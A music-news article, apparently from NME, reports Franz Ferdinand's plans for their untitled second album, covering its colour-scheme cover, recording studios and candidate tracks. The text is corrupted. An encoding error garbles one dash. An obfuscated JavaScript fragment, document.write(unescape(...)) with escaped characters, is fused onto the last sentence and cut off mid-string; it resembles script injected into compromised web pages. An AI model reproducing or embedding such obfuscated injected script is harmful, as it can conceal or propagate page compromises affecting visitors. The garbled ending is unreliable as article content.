Franz Ferdinand reveal album details

Franz Ferdinand have given NME.COM the exclusive comeback interview for their second record, revealing the inside story of making the follow-up to one of the most successful British debut albums in years.

The second record, due in September, will not have a title and will only be recognisable from the band's debut by a change in colour scheme. Instead of dark brown, orange and cream, the second album will have a black, red and pale green cover.

Singer Alex Kapranos explained: “The whole point is that the album doesn't have a title. We decided quite a while ago that we didn't want to give any of the albums titles, they were just going to be called ‘Franz Ferdinand'.”

He added: “The albums are going to be identified by their colour schemes rather than a title. The contrast of different colours creates a different mood. We experimented with different combinations of colours and this one stuck. At one level they looked good together, and they capture the mood of this record quite well.”

The album has been recorded in a studio located Alex Kapranos' home in rural Scotland, and was mixed at Avatar Studios in New York. The band are now finalising the tracklisting, and are choosing from 16 songs.

Songs played live like ‘Your Diary' and ‘I'm Your Villain' are competing for space against self-proclaimed “knockout punches” Franz have been saving like ‘Turn It On' and ‘Do You Want To?' â€" both potential comeback singles.

Other tracks expected to appear on the album include 'Outsiders', ‘Walk Away', ‘Eleanor, Put Your Boots Back On', ‘You Could Have It So Much Better', ‘What You Meant', ‘Well, That Was Easy' and ‘Evil And A Heathen'.

For the full interview with Franz Ferdinand about their new record, an exclusive look into the band's studio and Kapranos talking about his favourite tracks from the LP, get this week's NME - out nationwide today (June 29).document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;